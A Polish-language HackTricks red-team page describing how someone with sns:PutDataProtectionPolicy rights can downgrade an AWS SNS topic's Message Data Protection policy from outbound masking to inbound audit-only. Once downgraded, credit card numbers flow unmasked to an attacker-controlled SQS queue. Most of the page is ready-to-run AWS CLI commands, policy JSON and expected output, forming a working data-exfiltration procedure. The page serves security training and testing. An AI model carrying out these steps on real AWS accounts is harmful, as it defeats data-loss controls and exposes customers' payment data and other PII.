AWS - SNS Bypass ochrony danych wiadomości przez obniżenie polityki

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Jeśli masz sns:PutDataProtectionPolicy na topicu, możesz zmienić jego politykę Message Data Protection z Deidentify/Deny na Audit-only (lub usunąć kontrole Outbound), dzięki czemu wartości wrażliwe (np. numery kart kredytowych) będą dostarczane niezmienione do twojej subskrypcji.

Wymagania

  • Uprawnienia na docelowym topicu do wywołania sns:PutDataProtectionPolicy (i zwykle sns:Subscribe, jeśli chcesz odbierać dane).
  • Standardowy topic SNS (obsługa Message Data Protection).

Kroki ataku

  • Zmienne
REGION=us-east-1
  1. Utwórz standardowy topic i kolejkę SQS atakującego, oraz zezwól tylko temu topicowi na wysyłanie do kolejki
TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
  1. Dołącz politykę ochrony danych, która maskuje numery kart kredytowych w wiadomościach wychodzących
cat > /tmp/ht-dlp-policy.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "MaskCCOutbound",
"Principal": ["*"],
"DataDirection": "Outbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
  1. Zasubskrybuj kolejkę atakującego i opublikuj wiadomość z testowym numerem karty, zweryfikuj maskowanie
SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All

Oczekiwany fragment pokazuje maskowanie (znaki ‘#’):

"Message" : "payment:{cc:################}"
  1. Obniż poziom polityki do trybu tylko audytu (bez instrukcji deidentify/deny wpływających na ruch wychodzący)

Dla SNS, instrukcje Audit muszą być Inbound. Zastąpienie polityki instrukcją Inbound tylko do audytu usuwa wszelką de-identyfikację ruchu wychodzącego, więc wiadomości przepływają do subskrybentów bez modyfikacji.

cat > /tmp/ht-dlp-audit-only.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "AuditInbound",
"Principal": ["*"],
"DataDirection": "Inbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
  1. Opublikuj tę samą wiadomość i zweryfikuj, że wartość niezamaskowana została dostarczona
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All

Oczekiwany fragment pokazuje CC w postaci jawnej:

4539894458086459

Wpływ

  • Przełączenie topicu z de-identification/deny na audit-only (lub w inny sposób usunięcie Outbound controls) pozwala PII/secrets przejść niezmienionym do attacker-controlled subscriptions, umożliwiając eksfiltrację danych, która w przeciwnym razie zostałaby zamaskowana lub zablokowana.

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks